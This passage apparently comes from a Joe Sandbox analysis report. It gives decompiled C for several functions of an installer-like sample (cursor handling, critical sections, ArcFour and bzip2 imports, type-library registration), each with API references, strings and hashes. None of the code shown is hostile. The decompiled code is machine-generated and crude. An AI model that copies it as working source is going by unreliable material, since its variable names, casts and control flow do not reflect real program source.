				if(__edx !=  *((intOrPtr*)(__eax + 0x28))) {
					 *((short*)(__eax + 0x28)) = __edx;
					if(__edx != 0) {
						L5:
						_t7 = SetCursor(E00423434(_t19, _t27));
					} else {
						GetCursorPos(_t30);
						_push(_v24.y);
						_t26 = WindowFromPoint(_v24);
						if(_t26 == 0) {
							goto L5;
						} else {
							_t12 = GetWindowThreadProcessId(_t26, 0);
							if(_t12 != GetCurrentThreadId()) {
								goto L5;
							} else {
								_t7 = SendMessageA(_t26, 0x20, _t26, E0040635C(SendMessageA(_t26, 0x84, _v24, _v24.y), 0x200));
							}
						}
					}
				}
				return _t7;
			}

0x0042345c
0x00423460
0x00423463
0x00423465
0x0042346b
0x0042346d
0x00423474
0x004234d0
0x004234db
0x00423476
0x00423477
0x0042347c
0x00423489
0x0042348d
0x00000000
0x0042348f
0x00423492
0x004234a0
0x00000000
0x004234a2
0x004234c9
0x004234c9
0x004234a0
0x0042348d
0x00423474
0x004234e6

APIs

GetCursorPos.USER32 ref: 00423477
WindowFromPoint.USER32(?,?), ref: 00423484
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00423492
GetCurrentThreadId.KERNEL32 ref: 00423499
SendMessageA.USER32 ref: 004234B2
SendMessageA.USER32 ref: 004234C9
SetCursor.USER32(00000000), ref: 004234DB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: 81f00774b20a2a229e9ca12694f3ea788b77e9e61f70631baffb1ab651dbb8be
Instruction ID: 430ad60131859f11e65866b08c3df0807d4cd3ad5463abd474490cb6163e9c12
Opcode Fuzzy Hash: 81f00774b20a2a229e9ca12694f3ea788b77e9e61f70631baffb1ab651dbb8be
Instruction Fuzzy Hash: F001D43230421036D6217B765C82E6F22E8CB84B59F51417FB905AB282D93EAC10A3AD

Uniqueness

Uniqueness Score: -1.00%

Function 004019D4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004019D4() {
				signed int _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00401A8A);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x48d420);
				L00401328();
				if( *0x48d036 != 0) {
					_push(0x48d420);
					L00401330();
				}
				E00401398(0x48d440);
				E00401398(0x48d450);
				E00401398(0x48d47c);
				 *0x48d478 = LocalAlloc(0, 0xff8);
				if( *0x48d478 != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x48d478; // 0x68f850
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x48d464)) = 0x48d460;
					 *0x48d460 = 0x48d460;
					 *0x48d46c = 0x48d460;
					 *0x48d419 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E00401A91);
				if( *0x48d036 != 0) {
					_push(0x48d420);
					L00401338();
					return 0;
				}
				return 0;
			}

0x004019d9
0x004019da
0x004019df
0x004019e2
0x004019e5
0x004019ea
0x004019f6
0x004019f8
0x004019fd
0x004019fd
0x00401a07
0x00401a11
0x00401a1b
0x00401a2c
0x00401a38
0x00401a3a
0x00401a3f
0x00401a3f
0x00401a47
0x00401a4b
0x00401a4c
0x00401a58
0x00401a5b
0x00401a5d
0x00401a62
0x00401a62
0x00401a6b
0x00401a6e
0x00401a71
0x00401a7d
0x00401a7f
0x00401a84
0x00000000
0x00401a84
0x00401a89

APIs

RtlInitializeCriticalSection.KERNEL32(0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 004019EA
RtlEnterCriticalSection.KERNEL32(0048D420,0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 004019FD
LocalAlloc.KERNEL32(00000000,00000FF8,0048D420,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 00401A27
RtlLeaveCriticalSection.KERNEL32(0048D420,00401A91,00000000,00401A8A,?,?,00402236,0048D460,00000000,00000000,?,?,00401C51,00401C66,00401DAA), ref: 00401A84

Strings

T$i, xrefs: 00401A02
D$i, xrefs: 00401A0C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: D$i$T$i
API String ID: 730355536-2756991575
Opcode ID: 57f5aacb8be9df8ec01b5cf4f0681ac2cd2d26be38783226c89fa5c113ee3fb1
Instruction ID: edc66444bf91dbccd637f871198ccf20bfd66fdd9cc5066f76d2897232331e27
Opcode Fuzzy Hash: 57f5aacb8be9df8ec01b5cf4f0681ac2cd2d26be38783226c89fa5c113ee3fb1
Instruction Fuzzy Hash: CD018070E463445EF315BB699806B2D3B95D786B08F51887FF440A7AF2C77C68408B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00488068 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00488068(void* __eax, void* __edx) {
				void _v68;
				struct HINSTANCE__* _t4;
				void* _t7;
				struct HINSTANCE__* _t10;
				struct HINSTANCE__* _t11;
				void* _t15;
				struct HINSTANCE__* _t19;
				void* _t22;
				intOrPtr* _t23;

				_t15 = __edx;
				_t22 = __eax;
				_t4 = GetModuleHandleA("user32.dll");
				_t10 = _t4;
				_push("MonitorFromRect");
				_push(_t10);
				L00405A9C();
				_t19 = _t4;
				_push("GetMonitorInfoA");
				_push(_t10);
				L00405A9C();
				_t11 = _t4;
				if(_t19 == 0 || _t11 == 0) {
					L4:
					return E00488030(_t15);
				} else {
					_t7 = _t19->i(_t22, 2);
					 *_t23 = 0x28;
					_push(_t23);
					_push(_t7);
					if(_t11->i() == 0) {
						goto L4;
					}
					_push(_t15);
					return memcpy(_t15,  &_v68, 4 << 2);
				}
			}

0x0048806f
0x00488071
0x00488078
0x0048807d
0x0048807f
0x00488084
0x00488085
0x0048808a
0x0048808c
0x00488091
0x00488092
0x00488097
0x0048809b
0x004880c6
0x00000000
0x004880a1
0x004880a4
0x004880a8
0x004880af
0x004880b0
0x004880b5
0x00000000
0x00000000
0x004880b7
0x00000000
0x004880c3

APIs

GetModuleHandleA.KERNEL32(user32.dll), ref: 00488078
6C8D5550.KERNEL32(00000000,MonitorFromRect,user32.dll), ref: 00488085
6C8D5550.KERNEL32(00000000,GetMonitorInfoA,00000000,MonitorFromRect,user32.dll), ref: 00488092

Strings

GetMonitorInfoA, xrefs: 0048808C
MonitorFromRect, xrefs: 0048807F
user32.dll, xrefs: 00488073

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550$HandleModule
String ID: GetMonitorInfoA$MonitorFromRect$user32.dll
API String ID: 973534670-2254406584
Opcode ID: 7db87c9fda0348b87a1a41c77383b14b85d3047ca445bb9fc7c36df8c17157e0
Instruction ID: 6e562e19ac84550870092a3c1b8ba6b0c0ac266d8b29f396ed82e57d191843af
Opcode Fuzzy Hash: 7db87c9fda0348b87a1a41c77383b14b85d3047ca445bb9fc7c36df8c17157e0
Instruction Fuzzy Hash: 77F09652B42A1527D23035690C81A7F228DCB967A4F96093FBE10B7282ED5D9C0847AD

Uniqueness

Uniqueness Score: -1.00%

Function 00459C98 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E00459C98(intOrPtr __eax) {
				intOrPtr _t14;

				_push("ISCryptGetVersion");
				_push(__eax);
				L00405A9C();
				 *0x4adf3c = __eax;
				_push("ArcFourInit");
				_push(__eax);
				L00405A9C();
				 *0x4adf40 = __eax;
				_push("ArcFourCrypt");
				_push(__eax);
				L00405A9C();
				 *0x4adf44 = __eax;
				if( *0x4adf3c == 0 ||  *0x4adf40 == 0) {
					L4:
					 *0x4adf3c = 0;
					 *0x4adf40 = 0;
					 *0x4adf44 = 0;
					return 0;
				} else {
					_t14 =  *0x4adf44;
					if(_t14 == 0) {
						goto L4;
					} else {
						return  *0x4adf3c() - 0x00000001 & 0xffffff00 | _t14 == 0x00000000;
					}
				}
			}

0x00459c9b
0x00459ca0
0x00459ca1
0x00459ca6
0x00459cab
0x00459cb0
0x00459cb1
0x00459cb6
0x00459cbb
0x00459cc0
0x00459cc1
0x00459cc6
0x00459cd2
0x00459cf2
0x00459cf6
0x00459cfe
0x00459d06
0x00459d0d
0x00459cdd
0x00459cdd
0x00459ce4
0x00000000
0x00459ce6
0x00459cf1
0x00459cf1
0x00459ce4

APIs

6C8D5550.KERNEL32(10000000,ISCryptGetVersion,?,004746B3,00000000,004746DC), ref: 00459CA1
6C8D5550.KERNEL32(10000000,ArcFourInit,10000000,ISCryptGetVersion,?,004746B3,00000000,004746DC), ref: 00459CB1
6C8D5550.KERNEL32(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,004746B3,00000000,004746DC), ref: 00459CC1

Strings

ISCryptGetVersion, xrefs: 00459C9B
ArcFourInit, xrefs: 00459CAB
ArcFourCrypt, xrefs: 00459CBB

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 183293030-508647305
Opcode ID: acb488890e5c2e2b379f4dcc6f739c5c26938aec1786831ae11f0791edab86da
Instruction ID: 55b88a5c9a895eb77ebb854db0f92e8eb359b5923d934d189e0fc1b8f0dc63c2
Opcode Fuzzy Hash: acb488890e5c2e2b379f4dcc6f739c5c26938aec1786831ae11f0791edab86da
Instruction Fuzzy Hash: 32F0F4B1A11A108FE728DF66AC8576B3BA5E785306B04847BF807916A2DB780848DE0C

Uniqueness

Uniqueness Score: -1.00%

Function 0045A198 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0045A198(intOrPtr __eax) {
				intOrPtr _t2;

				_push("BZ2_bzDecompressInit");
				_push(__eax);
				L00405A9C();
				 *0x4adf58 = __eax;
				_push("BZ2_bzDecompress");
				_push(__eax);
				L00405A9C();
				 *0x4adf5c = __eax;
				_push("BZ2_bzDecompressEnd");
				_push(__eax);
				L00405A9C();
				 *0x4adf60 = __eax;
				if( *0x4adf58 == 0 ||  *0x4adf5c == 0 ||  *0x4adf60 == 0) {
					_t2 = 0;
				} else {
					_t2 = 1;
				}
				if(_t2 == 0) {
					 *0x4adf58 = 0;
					 *0x4adf5c = 0;
					 *0x4adf60 = 0;
					return _t2;
				}
				return _t2;
			}

0x0045a19b
0x0045a1a0
0x0045a1a1
0x0045a1a6
0x0045a1ab
0x0045a1b0
0x0045a1b1
0x0045a1b6
0x0045a1bb
0x0045a1c0
0x0045a1c1
0x0045a1c6
0x0045a1d2
0x0045a1e6
0x0045a1ea
0x0045a1ea
0x0045a1ea
0x0045a1ee
0x0045a1f2
0x0045a1fa
0x0045a202
0x00000000
0x0045a202
0x0045a209

APIs

6C8D5550.KERNEL32(00000000,BZ2_bzDecompressInit,?,0047454C,00000000,00474575), ref: 0045A1A1
6C8D5550.KERNEL32(00000000,BZ2_bzDecompress,00000000,BZ2_bzDecompressInit,?,0047454C,00000000,00474575), ref: 0045A1B1
6C8D5550.KERNEL32(00000000,BZ2_bzDecompressEnd,00000000,BZ2_bzDecompress,00000000,BZ2_bzDecompressInit,?,0047454C,00000000,00474575), ref: 0045A1C1

Strings

BZ2_bzDecompressEnd, xrefs: 0045A1BB
BZ2_bzDecompress, xrefs: 0045A1AB
BZ2_bzDecompressInit, xrefs: 0045A19B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 183293030-212574377
Opcode ID: 9f2a9bcdc621ac13df638437ea11ddaa6b8964c00a90bc92546b47afa8f0b326
Instruction ID: 94854f8a5b0d0740457f58f45d8c078d7974d2f116e12e67d2e521bd6c5c8b3f
Opcode Fuzzy Hash: 9f2a9bcdc621ac13df638437ea11ddaa6b8964c00a90bc92546b47afa8f0b326
Instruction Fuzzy Hash: D3F030B0E00A809ED704DF22AC857673F95A74A30AF20863BB80756AA2D77D0458CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 0044C470 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28
libraryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0044C470() {
				signed int _t1;
				struct HINSTANCE__* _t4;
				struct HINSTANCE__* _t5;

				if( *0x48d74c == 0) {
					_t4 = LoadLibraryA("oleacc.dll");
					_t5 = _t4;
					if(_t5 != 0) {
						_push("LresultFromObject");
						_push(_t5);
						L00405A9C();
						 *0x48d754 = _t4;
						_push("CreateStdAccessibleObject");
						_push(_t5);
						L00405A9C();
						 *0x48d758 = _t4;
						if( *0x48d754 != 0 &&  *0x48d758 != 0) {
							 *0x48d750 = 1;
						}
					}
					 *0x48d74c = 1;
				}
				_t1 =  *0x48d750; // 0x0
				asm("sbb eax, eax");
				return  ~( ~_t1);
			}

0x0044c478
0x0044c47f
0x0044c484
0x0044c488
0x0044c48a
0x0044c48f
0x0044c490
0x0044c495
0x0044c49a
0x0044c49f
0x0044c4a0
0x0044c4a5
0x0044c4b1
0x0044c4bc
0x0044c4bc
0x0044c4b1
0x0044c4c6
0x0044c4c6
0x0044c4d0
0x0044c4d7
0x0044c4dc

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,0044ED2D), ref: 0044C47F
6C8D5550.KERNEL32(00000000,LresultFromObject,oleacc.dll,?,0044ED2D), ref: 0044C490
6C8D5550.KERNEL32(00000000,CreateStdAccessibleObject,00000000,LresultFromObject,oleacc.dll,?,0044ED2D), ref: 0044C4A0

Strings

oleacc.dll, xrefs: 0044C47A
LresultFromObject, xrefs: 0044C48A
CreateStdAccessibleObject, xrefs: 0044C49A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 4129453343-1050967733
Opcode ID: d3c614515ba41650864abbc004c9112c3029005685b8966e8ed844b311a5e133
Instruction ID: af5fafed751ad919ba175a44a32b7430eff449043fbbe5ec937408c8bd9dc759
Opcode Fuzzy Hash: d3c614515ba41650864abbc004c9112c3029005685b8966e8ed844b311a5e133
Instruction Fuzzy Hash: 6EF01270A437519BF7606F61DED976A37A4E30031DF15593EA001961E1D7BC5444CF0D

Uniqueness

Uniqueness Score: -1.00%

Function 0041B5D0 Relevance: 9.1, APIs: 6, Instructions: 113
windowCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E0041B5D0(intOrPtr __eax) {
				intOrPtr _v8;
				signed int _v12;
				short* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				struct HWND__* _v28;
				void* __edi;
				short _t45;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t62;
				intOrPtr* _t64;
				short* _t71;
				intOrPtr _t78;
				signed int _t80;
				void* _t82;
				intOrPtr _t84;
				short _t87;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t92;
				void* _t94;
				intOrPtr _t95;

				_t92 = _t94;
				_t95 = _t94 + 0xffffffe8;
				_push(_t82);
				_v8 = __eax;
				_v12 = 0;
				_t45 =  *((intOrPtr*)(_v8 + 0x20));
				if(_t45 == 0) {
					_t87 = E0041B5B0( *((intOrPtr*)(_v8 + 0xe)));
				} else {
					_t78 = _v8;
					_t87 = _t45;
				}
				_t99 = _t87 - 2;
				if(_t87 <= 2) {
					return _v12;
				} else {
					_v20 = (_t87 - 1 << 2) + 8;
					_v16 = E00406A38(_v20, _t78, _t82, _t99);
					_push(_t92);
					_push(0x41b720);
					_push( *[fs:ecx]);
					 *[fs:ecx] = _t95;
					_t71 = _v16;
					E00402A64(_t71, _v20);
					 *((short*)(_t71 + 2)) = _t87;
					 *_t71 = 0x300;
					_v28 = GetFocus();
					_t59 = _v28;
					_push(_t59);
					L0040602C();
					_v24 = _t59;
					_push(_t92);
					_push(0x41b6f4);
					_push( *[fs:ecx]);
					 *[fs:ecx] = _t95;
					_push(0x68);
					_t60 = _v24;
					_push(_t60);
					L00405D5C();
					_t84 = _t60;
					if(_t87 != 0x10 || _t84 < 0x10) {
						_t89 = _t87 - 1;
						__eflags = _t89;
						if(_t89 >= 0) {
							_t90 = _t89 + 1;
							_t80 = 0;
							_t64 = _v8 + 0x2a;
							__eflags = _t64;
							do {
								 *((char*)(_t71 + 4 + _t80 * 4)) =  *_t64;
								 *((char*)(_t71 + 5 + _t80 * 4)) =  *((intOrPtr*)(_t64 - 1));
								 *((char*)(_t71 + 6 + _t80 * 4)) =  *((intOrPtr*)(_t64 - 2));
								 *((char*)(_t71 + 7 + _t80 * 4)) = 0;
								_t80 = _t80 + 1;
								_t64 = _t64 + 4;
								_t90 = _t90 - 1;
								__eflags = _t90;
							} while (_t90 != 0);
						}
					} else {
						_push(_t71 + 4);
						_push(8);
						_push(0);
						_push(_v24);
						L00405D84();
						_push(_t71 + 0x24);
						_push(8);
						_push(_t84 - 8);
						_push(_v24);
						L00405D84();
					}
					_pop( *[fs:0x0]);
					_push(E0041B6FB);
					_push(_v24);
					_t62 = _v28;
					_push(_t62);
					L00406214();
					return _t62;
				}
			}

0x0041b5d1
0x0041b5d3
0x0041b5d8
0x0041b5d9
0x0041b5de
0x0041b5e4
0x0041b5e9
0x0041b5fe
0x0041b5eb
0x0041b5eb
0x0041b5ee
0x0041b5ee
0x0041b600
0x0041b603
0x0041b730
0x0041b609
0x0041b612
0x0041b61d
0x0041b622
0x0041b623
0x0041b628
0x0041b62b
0x0041b62e
0x0041b638
0x0041b63d
0x0041b641
0x0041b64b
0x0041b64e
0x0041b651
0x0041b652
0x0041b657
0x0041b65c
0x0041b65d
0x0041b662
0x0041b665
0x0041b668
0x0041b66a
0x0041b66d
0x0041b66e
0x0041b673
0x0041b678
0x0041b6a9
0x0041b6aa
0x0041b6ac
0x0041b6ae
0x0041b6af
0x0041b6b4
0x0041b6b4
0x0041b6b7
0x0041b6b9
0x0041b6c0
0x0041b6c7
0x0041b6cb
0x0041b6d0
0x0041b6d1
0x0041b6d4
0x0041b6d4
0x0041b6d4
0x0041b6b7
0x0041b67f
0x0041b682
0x0041b683
0x0041b685
0x0041b68a
0x0041b68b
0x0041b699
0x0041b69a
0x0041b69d
0x0041b6a1
0x0041b6a2
0x0041b6a2
0x0041b6d7
0x0041b6e1
0x0041b6e9
0x0041b6ea
0x0041b6ed
0x0041b6ee
0x0041b6f3
0x0041b6f3

APIs

GetFocus.USER32(00000000,0041B720,?,?,?,?), ref: 0041B646
740BAC50.USER32(?,00000000,0041B720,?,?,?,?), ref: 0041B652
740BAD70.GDI32(?,00000068,00000000,0041B6F4,?,?,00000000,0041B720,?,?,?,?), ref: 0041B66E
740BAEF0.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041B6F4,?,?,00000000,0041B720,?,?,?,?), ref: 0041B68B
740BAEF0.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041B6F4,?,?,00000000,0041B720), ref: 0041B6A2
740BB380.USER32(?,?,0041B6FB,?,?), ref: 0041B6EE

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B380Focus
String ID:
API String ID: 3891926489-0
Opcode ID: 96cd0f549e70ce9be7b9710d4241d4da25a4f0c7083478d0b07e25f6b7abca35
Instruction ID: 11df3400f1eb03de84113c5c3ec4ebf7f10d2645e46e8c7fa1f075b946e55609
Opcode Fuzzy Hash: 96cd0f549e70ce9be7b9710d4241d4da25a4f0c7083478d0b07e25f6b7abca35
Instruction Fuzzy Hash: 3F41C831A001589FCF10DFA9C885AAFBBB4EF59704F1584AAF940EB351D7389D11CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00456A34 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00456A34(signed char __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				int _t26;
				void* _t37;
				void* _t43;
				void* _t47;
				signed char _t57;
				intOrPtr _t67;
				void* _t77;

				_t74 = __esi;
				_t73 = __edi;
				_push(__esi);
				_push(__edi);
				_v12 = 0;
				_v8 = __edx;
				_t57 = __eax;
				E00403870(_v8);
				_push(_t77);
				_push(0x456b5b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t77 + 0xfffffff8;
				E0042C81C(_v8,  &_v12);
				E004035DC( &_v8, _v12);
				 *0x48df2c = 0;
				_t26 = E004036BC(_v8);
				0x48df30[MultiByteToWideChar(0, 0, E00403880(_v8), _t26, 0x48df30, 0xfff)] = 0;
				E00456300(0);
				E004566E4(4, 0, 0x2004);
				E00456300(0);
				_t37 =  *0x49df30 - 1;
				if(_t37 == 0) {
					E00451EEC("LoadTypeLib", _t57,  *0x49df34, __edi, __esi, __eflags);
				} else {
					_t43 = _t37 - 1;
					if(_t43 == 0) {
						_t44 =  *0x49df34;
						__eflags =  *0x49df34;
						_t58 = _t57 | 0x2000 | __eflags != 0x00000000;
						__eflags = _t57 | 0x2000 | __eflags != 0x00000000;
						if(__eflags != 0) {
							E00451EEC("RegisterTypeLib", _t58, _t44, __edi, __esi, __eflags);
						}
					} else {
						_t47 = _t43 - 1;
						if(_t47 == 0) {
							E00451EEC("ITypeLib::GetLibAttr", _t57,  *0x49df34, __edi, __esi, __eflags);
						} else {
							_t82 = _t47 == 1;
							if(_t47 == 1) {
								_t51 =  *0x49df34;
								__eflags =  *0x49df34;
								if(__eflags != 0) {
									L11:
									E00451EEC("UnRegisterTypeLib", _t57, _t51, _t73, _t74, __eflags);
								} else {
									__eflags = _t57;
									if(__eflags == 0) {
										goto L11;
									}
								}
							} else {
								E00451DE8("HelperRegisterTypeLibrary: StatusCode invalid", _t57, __edi, __esi, _t82);
							}
						}
					}
				}
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(E00456B62);
				return E00403568( &_v12, 2);
			}

0x00456a34
0x00456a34
0x00456a3b
0x00456a3c
0x00456a3f
0x00456a42
0x00456a45
0x00456a4a
0x00456a51
0x00456a52
0x00456a57
0x00456a5a
0x00456a63
0x00456a6e
0x00456a77
0x00456a89
0x00456aa1
0x00456aad
0x00456abc
0x00456ac3
0x00456acd
0x00456ace
0x00456ae6
0x00456ad0
0x00456ad0
0x00456ad1
0x00456aed
0x00456af2
0x00456af7
0x00456af7
0x00456af9
0x00456b02
0x00456b02
0x00456ad3
0x00456ad3
0x00456ad4
0x00456b14
0x00456ad6
0x00456ad6
0x00456ad7
0x00456b1b
0x00456b20
0x00456b22
0x00456b28
0x00456b2f
0x00456b24
0x00456b24
0x00456b26
0x00000000
0x00000000
0x00456b26
0x00456ad9
0x00456b3b
0x00456b3b
0x00456ad7
0x00456ad4
0x00456ad1
0x00456b42
0x00456b45
0x00456b48
0x00456b5a

APIs

Part of subcall function 0042C81C: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C840

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,0048DF30,00000FFF,00000000,00456B5B,?,?,00000000,0048D628), ref: 00456A9C

Part of subcall function 00456300: CloseHandle.KERNEL32(00000000), ref: 00456330
Part of subcall function 00456300: WaitForSingleObject.KERNEL32(00000000,00002710,00000000), ref: 0045635A
Part of subcall function 00456300: GetExitCodeProcess.KERNEL32 ref: 0045636A
Part of subcall function 00456300: CloseHandle.KERNEL32(00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 004563B0
Part of subcall function 00456300: Sleep.KERNEL32(000000FA,00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 004563C9

Part of subcall function 00456300: TerminateProcess.KERNEL32(00000000,00000001,00000000,00002710,00000000), ref: 0045634D

Strings

ITypeLib::GetLibAttr, xrefs: 00456B0F
LoadTypeLib, xrefs: 00456AE1
UnRegisterTypeLib, xrefs: 00456B2A
HelperRegisterTypeLibrary: StatusCode invalid, xrefs: 00456B36
RegisterTypeLib, xrefs: 00456AFD

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseHandleProcess$ByteCharCodeExitFullMultiNameObjectPathSingleSleepTerminateWaitWide
String ID: HelperRegisterTypeLibrary: StatusCode invalid$ITypeLib::GetLibAttr$LoadTypeLib$RegisterTypeLib$UnRegisterTypeLib
API String ID: 3965036325-83444288
Opcode ID: cf2a3a04fc8b757f2918928d542b7fec9a35e389a630b909b09c684119571e75
Instruction ID: 7b9cdc252f2b98f7b0b919fb9f5ead86ecc66f3806473bd0b3f3771be5b08ee5
Opcode Fuzzy Hash: cf2a3a04fc8b757f2918928d542b7fec9a35e389a630b909b09c684119571e75
Instruction Fuzzy Hash: BF31A230710114ABDB10EBA58952B5EB7A8DB04307F92847BBD05D7393EA3CAE09965D

Uniqueness

Uniqueness Score: -1.00%

